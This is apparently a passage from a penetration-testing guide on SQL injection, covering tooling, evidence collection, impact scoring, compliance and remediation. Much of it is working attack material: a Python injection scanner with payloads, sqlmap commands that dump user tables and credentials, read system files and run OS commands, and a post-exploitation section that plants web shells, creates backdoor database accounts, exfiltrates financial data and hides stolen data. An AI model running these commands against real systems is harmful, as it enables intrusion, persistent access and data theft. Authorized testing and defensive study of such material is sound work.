sqlmap -u "https://<target>/page.php?id=1" --mobile

Alternative Automated Tools

NoSQLMap for NoSQL Injection

MongoDB Injection Testing:

# Basic NoSQL injection testing
python nosqlmap.py -t http://<target>/api/users -p username

# Authentication bypass
python nosqlmap.py -t http://<target>/login -p username,password --attack-bypass

# Data extraction
python nosqlmap.py -t http://<target>/api/search -p query --attack-data-extraction

Custom Python Automation

Automated SQLi Scanner:

#!/usr/bin/env python3
import requests
import time
import sys
from urllib.parse import quote

class SQLiScanner:
    def __init__(self, base_url, params):
        self.base_url = base_url
        self.params = params
        self.payloads = [
            "'", "\"", "\\", "')", "\")", "\\)",
            "' OR '1'='1", "' OR 1=1--", "' OR 1=1#",
            "') OR ('1'='1", "\") OR (\"1\"=\"1",
            "' UNION SELECT 1--", "' UNION SELECT NULL--"
        ]
        self.error_patterns = [
            "mysql_fetch_array", "mysql syntax", "mysql_query",
            "postgresql", "pg_query", "syntax error at or near",
            "microsoft ole db", "odbc sql server", "sql server",
            "ora-[0-9]+", "oracle error"
        ]
    
    def test_sqli(self, param, payload):
        """Test for SQL injection vulnerability"""
        test_params = self.params.copy()
        test_params[param] = payload
        
        try:
            response = requests.get(self.base_url, params=test_params, timeout=10)
            
            # Check for error patterns
            for pattern in self.error_patterns:
                if pattern.lower() in response.text.lower():
                    return True, pattern, response.text[:200]
            
            # Check for time-based injection
            if "SLEEP(5)" in payload or "pg_sleep(5)" in payload:
                if response.elapsed.total_seconds() > 4:
                    return True, "time_delay", f"Response time: {response.elapsed.total_seconds()}"
            
            return False, None, None
            
        except Exception as e:
            return False, None, str(e)
    
    def scan(self):
        """Perform comprehensive SQL injection scan"""
        vulnerabilities = []
        
        for param in self.params:
            print(f"[+] Testing parameter: {param}")
            
            for payload in self.payloads:
                vulnerable, error_type, evidence = self.test_sqli(param, payload)
                
                if vulnerable:
                    vuln_info = {
                        'parameter': param,
                        'payload': payload,
                        'error_type': error_type,
                        'evidence': evidence
                    }
                    vulnerabilities.append(vuln_info)
                    print(f"[!] VULNERABLE: {param} with payload: {payload}")
                    print(f"    Error type: {error_type}")
                    print(f"    Evidence: {evidence}")
                    break  # Move to next parameter after finding vulnerability
            
            time.sleep(0.5)  # Rate limiting
        
        return vulnerabilities

# Usage example
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python sqli_scanner.py <target_url>")
        sys.exit(1)
    
    base_url = sys.argv[1]
    params = {'id': '1', 'search': 'test', 'category': '1'}  # Common parameter names
    
    scanner = SQLiScanner(base_url, params)
    vulnerabilities = scanner.scan()
    
    print(f"\n[+] Scan completed. Found {len(vulnerabilities)} vulnerabilities.")
    for vuln in vulnerabilities:
        print(f"Parameter: {vuln['parameter']}, Payload: {vuln['payload']}")

Documentation and Impact Assessment

Evidence Collection Standards

Request/Response Capture:

# Complete HTTP transaction logging
curl -v "https://<target>/page.php?id=1' UNION SELECT 1,2,3--" 2>&1 | tee evidence_union_injection.txt

# SQLMap logging with full output
sqlmap -u "https://<target>/page.php?id=1" --dbs -v 6 --log-file=sqlmap_full_log.txt

# Burp Suite request/response export
# Save all SQL injection requests and responses from Burp Suite history

Database Content Extraction Evidence:

# Document database structure
sqlmap -u "https://<target>/page.php?id=1" --schema > database_schema.txt

# Extract and document sensitive data
sqlmap -u "https://<target>/page.php?id=1" -D webapp -T users --dump > user_data_dump.txt

# Document privileges and access levels
sqlmap -u "https://<target>/page.php?id=1" --privileges > database_privileges.txt

File System Access Documentation:

# Document file read capabilities
sqlmap -u "https://<target>/page.php?id=1" --file-read="/etc/passwd" > file_read_evidence.txt

# Document file write capabilities
echo "Evidence of file write capability" > test_write.txt
sqlmap -u "https://<target>/page.php?id=1" --file-write="test_write.txt" --file-dest="/tmp/evidence.txt"

Video and Screenshot Evidence

Step-by-Step Exploitation Recording:

# Record terminal session
script -a exploitation_session.txt

# Start exploitation process
echo "Starting SQL injection exploitation demonstration"
date
sqlmap -u "https://<target>/page.php?id=1" --dbs
sqlmap -u "https://<target>/page.php?id=1" -D webapp --tables
sqlmap -u "https://<target>/page.php?id=1" -D webapp -T users --dump

# End recording
exit

Business Impact Assessment

Data Exposure Analysis

Sensitive Data Categories:

  • Personal Identifiable Information (PII): Names, addresses, phone numbers, email addresses

  • Financial Data: Credit card numbers, bank account details, transaction history

  • Authentication Credentials: Usernames, password hashes, API keys, tokens

  • Business Critical Data: Customer lists, pricing information, strategic documents

  • System Information: Database schemas, server configurations, internal network details

Data Volume Assessment:

# Count total records exposed
sqlmap -u "https://<target>/page.php?id=1" -D webapp -T users --count

# Estimate data volume across all tables
sqlmap -u "https://<target>/page.php?id=1" --dump-all --count > data_volume_assessment.txt

# Document specific sensitive data types found
sqlmap -u "https://<target>/page.php?id=1" -D webapp -T users -C "ssn,credit_card,password" --dump > sensitive_data_sample.txt

System Compromise Assessment

Privilege Level Documentation:

# Document current database user privileges
sqlmap -u "https://<target>/page.php?id=1" --current-user --is-dba --privileges

# Test for administrative database access
sqlmap -u "https://<target>/page.php?id=1" --users --passwords

# Document file system access capabilities
sqlmap -u "https://<target>/page.php?id=1" --file-read="/etc/passwd"

Lateral Movement Potential:

# Document network connectivity from database server
sqlmap -u "https://<target>/page.php?id=1" --os-cmd="netstat -an"
sqlmap -u "https://<target>/page.php?id=1" --os-cmd="ps aux"
sqlmap -u "https://<target>/page.php?id=1" --os-cmd="cat /etc/hosts"

# Test for additional services on the system
sqlmap -u "https://<target>/page.php?id=1" --os-cmd="nmap -sT localhost"

# Document potential for persistence
sqlmap -u "https://<target>/page.php?id=1" --os-cmd="crontab -l"
sqlmap -u "https://<target>/page.php?id=1" --file-write="backdoor.php" --file-dest="/var/www/html/maintenance.php"

Risk Rating and CVSS Scoring

CVSS v3.1 Assessment Framework

Base Score Metrics:

Attack Vector (AV): Network (N) - 0.85

  • SQL injection exploitable over network connections

Attack Complexity (AC): Low (L) - 0.77

  • Basic SQL injection requires minimal skill

Privileges Required (PR): None (N) - 0.85

  • No authentication required for exploitation

User Interaction (UI): None (N) - 0.85

  • No user interaction needed for exploitation

Scope (S): Changed (C) - Impact extends beyond vulnerable component

  • Database server compromise affects entire application

Confidentiality Impact (C): High (H) - 0.56

  • Complete access to database contents

Integrity Impact (I): High (H) - 0.56

  • Ability to modify or delete database data

Availability Impact (A): High (H) - 0.56

  • Potential for data destruction or service disruption

CVSS Base Score Calculation:

Base Score = 9.8 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Business Risk Assessment Matrix

Financial Impact Categories:

  • Direct Costs: Data breach response, legal fees, regulatory fines

  • Indirect Costs: Business disruption, customer loss, reputation damage

  • Regulatory Penalties: GDPR fines up to 4% of annual revenue

  • Legal Liability: Class action lawsuits, contractual penalties

Operational Impact:

  • Service Availability: Potential for complete application outage

  • Data Integrity: Risk of data corruption or deletion

  • Business Continuity: Disruption to core business processes

  • Recovery Time: Estimated time to restore normal operations

Compliance and Regulatory Impact

Regulatory Framework Assessment

GDPR (General Data Protection Regulation):

  • Article 32: Security of processing requirements

  • Article 33: Breach notification within 72 hours

  • Article 34: Individual notification requirements

  • Potential fines: Up to €20 million or 4% of annual turnover

PCI DSS (Payment Card Industry Data Security Standard):

  • Requirement 6.5.1: Injection flaws prevention

  • Requirement 11.2: Vulnerability scanning

  • Potential penalties: $5,000-$100,000 per month until compliance

HIPAA (Health Insurance Portability and Accountability Act):

  • Technical safeguards requirements

  • Audit controls and integrity

  • Potential fines: $100-$50,000 per violation

SOX (Sarbanes-Oxley Act):

  • Section 404: Internal controls over financial reporting

  • Criminal penalties for executives

  • Potential impact on financial statement certification

Remediation Recommendations

Immediate Remediation Actions

Emergency Response (0-24 hours):

  1. Disable Vulnerable Functionality: Temporarily disable affected application components

  2. Apply Input Validation: Implement immediate input filtering

  3. Monitor Database Activity: Enable comprehensive database logging

  4. Assess Data Exposure: Determine scope of potential data compromise

Short-term Fixes (1-7 days):

  1. Parameterized Queries: Replace dynamic SQL with prepared statements

  2. Input Validation: Implement comprehensive server-side validation

  3. Least Privilege: Reduce database user permissions

  4. WAF Rules: Deploy specific SQL injection protection rules

Long-term Security Improvements

Secure Development Practices:

  1. Code Review: Implement mandatory security code reviews

  2. Static Analysis: Deploy SAST tools in development pipeline

  3. Developer Training: Provide secure coding training

  4. Security Testing: Integrate DAST tools in CI/CD pipeline

Infrastructure Hardening:

  1. Database Hardening: Remove unnecessary functions and privileges

  2. Network Segmentation: Isolate database servers

  3. Monitoring: Implement real-time database activity monitoring

  4. Backup and Recovery: Ensure secure, tested backup procedures

Quality Assurance Framework

Testing Completeness Verification

Comprehensive Testing Checklist:

Detection Phase:

  • [ ] All input parameters identified and tested

  • [ ] GET, POST, and header injection points tested

  • [ ] Cookie-based injection vectors assessed

  • [ ] JSON and XML data injection tested

  • [ ] File upload parameter injection verified

Exploitation Phase:

  • [ ] Union-based injection successfully demonstrated

  • [ ] Boolean-based blind injection verified

  • [ ] Time-based blind injection confirmed

  • [ ] Error-based injection documented

  • [ ] Second-order injection scenarios tested

Advanced Testing:

  • [ ] Database type and version identified

  • [ ] Schema and table structure enumerated

  • [ ] Sensitive data extraction demonstrated

  • [ ] File system access tested

  • [ ] Command execution capabilities verified

  • [ ] Privilege escalation attempted

Tool Validation:

  • [ ] Manual testing confirms automated findings

  • [ ] Multiple tools validate same vulnerabilities

  • [ ] False positives eliminated through verification

  • [ ] Edge cases and complex scenarios tested

Evidence Quality Standards

Technical Evidence Requirements:

  • Complete HTTP request/response pairs showing injection

  • Database error messages demonstrating vulnerability

  • Extracted sensitive data samples (anonymized)

  • Screenshots of successful exploitation

  • Video demonstrations for complex multi-step attacks

Documentation Standards:

  • Step-by-step reproduction procedures

  • Multiple exploitation methods documented

  • Business impact clearly articulated

  • Risk ratings with supporting evidence

  • Remediation guidance with implementation details

Report Quality Metrics

Executive Summary Effectiveness:

  • Business risk clearly communicated

  • Financial impact quantified

  • Regulatory implications addressed

  • Strategic recommendations provided

  • Timeline for remediation specified

Technical Detail Accuracy:

  • Vulnerability classification correct

  • CVSS scoring properly calculated

  • Remediation guidance technically sound

  • Code examples provided where applicable

  • Testing methodology clearly documented

Post-Exploitation Considerations

Persistent Access and Backdoors

Web Shell Installation:

# Document web shell placement
sqlmap -u "https://<target>/page.php?id=1" --file-write="shell.php" --file-dest="/var/www/html/admin/maintenance.php"

# Test web shell functionality
curl "https://<target>/admin/maintenance.php?cmd=whoami"
curl "https://<target>/admin/maintenance.php?cmd=id"

Database-Level Persistence:

# Create backdoor database user
sqlmap -u "https://<target>/page.php?id=1" --sql-query="CREATE USER 'backup'@'%' IDENTIFIED BY 'complex_password'"
sqlmap -u "https://<target>/page.php?id=1" --sql-query="GRANT ALL PRIVILEGES ON *.* TO 'backup'@'%'"

# Create stored procedure backdoor
sqlmap -u "https://<target>/page.php?id=1" --sql-query="CREATE PROCEDURE backdoor(IN cmd VARCHAR(255)) BEGIN SELECT LOAD_FILE(CONCAT('/tmp/', cmd)); END"

Data Exfiltration Methods

Bulk Data Extraction:

# Extract complete user database
sqlmap -u "https://<target>/page.php?id=1" -D webapp -T users --dump --batch

# Extract financial data
sqlmap -u "https://<target>/page.php?id=1" -D webapp -T transactions --where="amount>1000" --dump

# Extract system configuration
sqlmap -u "https://<target>/page.php?id=1" --file-read="/etc/mysql/my.cnf" > mysql_config.txt
sqlmap -u "https://<target>/page.php?id=1" --file-read="/var/www/html/config.php" > app_config.txt

Steganographic Data Hiding:

# Hide extracted data in image files
sqlmap -u "https://<target>/page.php?id=1" --sql-query="SELECT LOAD_FILE('/var/www/html/logo.png')" > original_image.png
# Embed data using steganography tools
steghide embed -cf original_image.png -ef sensitive_data.txt -sf compromised_image.png

Advanced Persistent Threat Simulation

Multi-Vector Attack Chains:

  1. Initial Access: SQL injection vulnerability exploitation

  2. Privilege Escalation: Database administrator access through UDF

  3. Persistence: Web shell and database backdoor installation

  4. Lateral Movement: Network enumeration and additional system compromise

  5. Data Exfiltration: Systematic extraction of sensitive information

  6. Cover Tracks: Log deletion and evidence removal

Simulation Documentation:

# Document complete attack chain
echo "=== Advanced Persistent Threat Simulation ===" > apt_simulation.txt
echo "Phase 1: Initial Access via SQL Injection" >> apt_simulation.txt
sqlmap -u "https://<target>/page.php?id=1" --dbs >> apt_simulation.txt

echo "Phase 2: Privilege Escalation" >> apt_simulation.txt
sqlmap -u "https://<target>/page.php?id=1" --is-dba >> apt_simulation.txt

echo "Phase 3: Persistence Installation" >> apt_simulation.txt
sqlmap -u "https://<target>/page.php?id=1" --file-write="backdoor.php" --file-dest="/var/www/html/maintenance.php" >> apt_simulation.txt

echo "Phase 4: Data Exfiltration" >> apt_simulation.txt
sqlmap -u "https://<target>/page.php?id=1" -D webapp --dump-all >> apt_simulation.txt

Industry-Specific Considerations

Healthcare SQL Injection Impact

HIPAA Protected Health Information (PHI):

  • Patient medical records exposure

  • Insurance information disclosure

  • Treatment history compromise

  • Prescription data access

Regulatory Penalties:

  • OCR civil monetary penalties

  • State attorney general actions

  • Professional licensing issues

  • Malpractice liability concerns

Financial Services SQL Injection Impact

Sensitive Financial Data:

  • Account numbers and balances

  • Transaction histories

  • Credit reports and scores

  • Investment portfolios

Regulatory Consequences:

  • Federal banking regulator actions

  • SEC enforcement proceedings

  • State financial services penalties

  • Industry self-regulatory sanctions

E-commerce SQL Injection Impact

Customer Data Exposure:

  • Payment card information

  • Personal identification data

  • Purchase histories

  • Stored value accounts

Business Consequences:

  • PCI DSS compliance violations

  • Merchant account termination

  • Customer trust erosion

  • Competitive disadvantage

Last updated

Was this helpful?